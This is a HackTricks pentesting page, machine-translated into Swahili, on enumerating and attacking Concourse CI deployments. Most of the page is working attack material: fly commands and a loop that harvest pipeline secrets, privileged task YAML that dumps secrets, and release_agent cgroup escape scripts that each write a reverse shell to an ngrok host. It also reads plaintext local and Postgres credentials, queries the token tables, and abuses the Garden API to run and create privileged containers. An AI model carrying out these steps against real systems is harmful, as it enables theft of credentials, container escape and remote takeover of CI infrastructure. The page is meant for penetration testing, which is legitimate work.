Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Support HackTricks

User Roles & Permissions

Concourse ina majukumu matano:

  • Concourse Admin: Jukumu hili linapewa tu wamiliki wa main team (timu ya awali ya concourse). Mamlaka yanaweza kusimamia timu zingine (mfano: fly set-team, fly destroy-team...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.

  • owner: Wamiliki wa timu wanaweza kubadilisha kila kitu ndani ya timu.

  • member: Wanachama wa timu wanaweza kusoma na kuandika ndani ya mali za timu lakini hawawezi kubadilisha mipangilio ya timu.

  • pipeline-operator: Waendeshaji wa pipeline wanaweza kufanya shughuli za pipeline kama kuchochea ujenzi na kuweka rasilimali, lakini hawawezi kusasisha mipangilio ya pipeline.

  • viewer: Watazamaji wa timu wana ruhusa ya kusoma tu kwa timu na pipelines zake.

Zaidi ya hayo, ruhusa za majukumu ya owner, member, pipeline-operator na viewer zinaweza kubadilishwa kwa kusanidi RBAC (kusimamia zaidi vitendo vyake). Soma zaidi kuhusu hili: https://concourse-ci.org/user-roles.html

Kumbuka kwamba Concourse inaweka pipelines ndani ya Timu. Kwa hivyo watumiaji wanaohusishwa na Timu wataweza kusimamia hizo pipelines na Timu kadhaa zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya Timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja.

Vars & Credential Manager

Katika configs za YAML unaweza kusanidi thamani kwa kutumia sintaksia ((_source-name_:_secret-path_._secret-field_)). Kutoka kwenye nyaraka: source-name ni hiari, na ikiwa imeachwa, msimamizi wa cluster-wide credential atatumika, au thamani inaweza kutolewa statiki. secret-field ya hiari inabainisha uwanja kwenye siri iliyopatikana kusoma. Ikiwa imeachwa, msimamizi wa credentials anaweza kuchagua kusoma 'uwanja wa default' kutoka kwenye credentials iliyopatikana ikiwa uwanja upo. Zaidi ya hayo, secret-path na secret-field zinaweza kuzungukwa na alama za nukuu mbili "..." ikiwa zina herufi maalum kama . na :. Kwa mfano, ((source:"my.secret"."field:1")) itaweka secret-path kuwa my.secret na secret-field kuwa field:1.

Static Vars

Vars za statiki zinaweza kubainishwa katika hatua za kazi:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Au kutumia fly arguments zifuatazo:

  • -v au --var NAME=VALUE inaweka string VALUE kama thamani ya var NAME.

  • -y au --yaml-var NAME=VALUE inachambua VALUE kama YAML na kuiweka kama thamani ya var NAME.

  • -i au --instance-var NAME=VALUE inachambua VALUE kama YAML na kuiweka kama thamani ya instance var NAME. Tazama Grouping Pipelines kujifunza zaidi kuhusu instance vars.

  • -l au --load-vars-from FILE inasoma FILE, hati ya YAML inayojumuisha majina ya var na thamani zake, na kuziset zote.

Usimamizi wa Nenosiri

Kuna njia tofauti ambazo Credential Manager inaweza kutajwa katika pipeline, soma jinsi katika https://concourse-ci.org/creds.html. Zaidi ya hayo, Concourse inasaidia wasimamizi wa nenosiri tofauti:

Kumbuka kwamba kama una aina fulani ya write access to Concourse unaweza kuunda kazi za exfiltrate those secrets kwa sababu Concourse inahitaji kuweza kuzifikia.

Concourse Enumeration

Ili kuorodhesha mazingira ya concourse unahitaji kwanza kukusanya nywila halali au kupata token iliyothibitishwa labda katika faili ya .flyrc.

Login na Current User enum

  • Ili kuingia unahitaji kujua endpoint, team name (default ni main) na team ambayo mtumiaji anahusishwa nayo:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Pata targets zilizosanidiwa:

  • fly targets

  • Pata kama target connection iliyosanidiwa bado ni halali:

  • fly -t <target> status

  • Pata role ya mtumiaji dhidi ya target iliyoonyeshwa:

  • fly -t <target> userinfo

Kumbuka kwamba API token ina hifadhiwa katika $HOME/.flyrc kwa default, ukiwa unachunguza mashine unaweza kupata nywila huko.

Teams & Users

  • Pata orodha ya Teams

  • fly -t <target> teams

  • Pata roles ndani ya team

  • fly -t <target> get-team -n <team-name>

  • Pata orodha ya watumiaji

  • fly -t <target> active-users

Pipelines

  • Orodhesha pipelines:

  • fly -t <target> pipelines -a

  • Pata pipeline yaml (taarifa nyeti zinaweza kupatikana katika ufafanuzi):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Pata vars zote za config zilizotangazwa za pipeline

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Pata majina yote ya pipelines secret yaliyotumika (kama unaweza kuunda/kubadilisha kazi au kuingilia container unaweza kuyatoa):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

  • Orodhesha workers:

  • fly -t <target> workers

  • Orodhesha containers:

  • fly -t <target> containers

  • Orodhesha builds (kuona kinachoendelea):

  • fly -t <target> builds

Concourse Attacks

Credentials Brute-Force

  • admin:admin

  • test:test

Secrets and params enumeration

Katika sehemu iliyopita tuliona jinsi unavyoweza kupata majina yote ya secrets na vars zinazotumiwa na pipeline. Vars zinaweza kuwa na taarifa nyeti na majina ya secrets yatakuwa muhimu baadaye kujaribu kuiba.

Session ndani ya container inayoendesha au iliyokamilika hivi karibuni

Kama una ruhusa za kutosha (member role au zaidi) utaweza kuorodhesha pipelines na roles na kupata tu session ndani ya <pipeline>/<job> container kwa kutumia:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Kwa ruhusa hizi unaweza kuwa na uwezo wa:

  • Kuiba siri ndani ya container

  • Jaribu kutoroka hadi kwenye node

  • Tambua/Tumia vibaya cloud metadata endpoint (kutoka kwenye pod na kutoka kwenye node, ikiwezekana)

Uundaji/Marekebisho ya Pipeline

Kama una ruhusa za kutosha (mwanachama au zaidi) utaweza kuunda/kubadilisha pipelines mpya. Angalia mfano huu:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Kwa kubadilisha/kuunda bomba jipya utaweza:

  • Kuiba siri (kupitia kuzitoa au kuingia ndani ya kontena na kuendesha env)

  • Kutoroka hadi node (kwa kukupa ruhusa za kutosha - privileged: true)

  • Kuweka orodha/Matumizi mabaya ya cloud metadata endpoint (kutoka kwenye pod na kutoka kwenye node)

  • Kufuta bomba lililoundwa

Tekeleza Kazi Maalum

Hii ni sawa na njia ya awali lakini badala ya kubadilisha/kuunda bomba jipya unaweza tu kutekeleza kazi maalum (ambayo itakuwa ya siri zaidi):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Kutoroka kwenye node kutoka kwenye kazi yenye ruhusa

Katika sehemu zilizopita tuliona jinsi ya kutekeleza kazi yenye ruhusa na concourse. Hii haitoi kontena ufikiaji sawa kabisa na bendera ya ruhusa katika kontena la docker. Kwa mfano, hutaona kifaa cha mfumo wa faili wa node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.

Katika PoC ifuatayo tutatumia release_agent kutoroka na marekebisho madogo:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kama ulivyogundua hii ni release_agent escape ya kawaida ikibadilisha tu njia ya cmd kwenye node

Kutoroka kwenda kwenye node kutoka kwenye kontena la Worker

Release_agent escape ya kawaida yenye mabadiliko madogo inatosha kwa hili:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kutoroka kwenye node kutoka kwenye kontena la Web

Hata kama kontena la web lina baadhi ya ulinzi uliowezeshwa, haliendeshi kama kontena lenye ruhusa za kawaida (kwa mfano, huwezi kuunganisha na uwezo ni mdogo sana, hivyo njia rahisi za kutoroka kutoka kwenye kontena hazifanyi kazi).

Hata hivyo, linaweka nenosiri za ndani kwa maandishi wazi:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Unaweza kutumia hizo hati za kiingilio kuingia kwenye seva ya wavuti na kuunda kontena lenye ruhusa na kutoroka hadi kwenye nodi.

Katika mazingira unaweza pia kupata taarifa za kupata postgresql mfano ambao concourse hutumia (anwani, jina la mtumiaji, nenosiri na hifadhidata miongoni mwa taarifa nyingine):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Kudanganya Huduma ya Garden - Sio Shambulio Halisi

Hizi ni baadhi ya noti za kuvutia kuhusu huduma hii, lakini kwa sababu inasikiliza tu kwenye localhost, noti hizi hazitakuwa na athari yoyote ambayo hatujatumia tayari

Kwa chaguo-msingi kila mfanyakazi wa concourse atakuwa akiendesha huduma ya Garden katika bandari 7777. Huduma hii inatumiwa na Web master kuonyesha mfanyakazi anachohitaji kutekeleza (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambulizi, lakini kuna ulinzi mzuri:

  • Inafichuliwa tu kwa ndani (127..0.0.1) na nadhani wakati mfanyakazi anapothibitisha dhidi ya Web kwa huduma maalum ya SSH, handaki linaundwa ili seva ya wavuti iweze kuongea na kila huduma ya Garden ndani ya kila mfanyakazi.

  • Seva ya wavuti inafuatilia kontena zinazoendesha kila sekunde chache, na kontena zisizotarajiwa zinafutwa. Kwa hivyo ikiwa unataka kuendesha kontena maalum unahitaji kuharibu mawasiliano kati ya seva ya wavuti na huduma ya garden.

Wafanyakazi wa Concourse wanaendesha kwa ruhusa za juu za kontena:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Hata hivyo, mbinu kama mounting kifaa cha /dev cha node au release_agent hazitafanya kazi (kwa kuwa kifaa halisi chenye filesystem ya node hakipatikani, ni virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila kernel exploits inakuwa ngumu.

Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa kontena lenye ruhusa, hivyo kama tunaweza kutekeleza amri katika kontena lenye ruhusa lililoundwa na mfanyakazi wa sasa, tunaweza kutoroka hadi kwenye node.

Kumbuka kwamba nikicheza na concourse niliona kwamba kontena mpya inapozalishwa kuendesha kitu, michakato ya kontena inapatikana kutoka kwenye kontena la mfanyakazi, hivyo ni kama kontena linaunda kontena mpya ndani yake.

Kuingia ndani ya kontena lenye ruhusa linaloendelea

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Kuunda kontena mpya yenye ruhusa za juu

Unaweza kuunda kontena mpya kwa urahisi (endesha tu UID ya kubahatisha) na kutekeleza kitu ndani yake:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotumika, na ikiwa kontena isiyotarajiwa itagunduliwa, itafutwa. Kwa kuwa mawasiliano yanatokea katika HTTP, unaweza kuharibu mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Marejeo

  • https://concourse-ci.org/vars.html

Support HackTricks

Last updated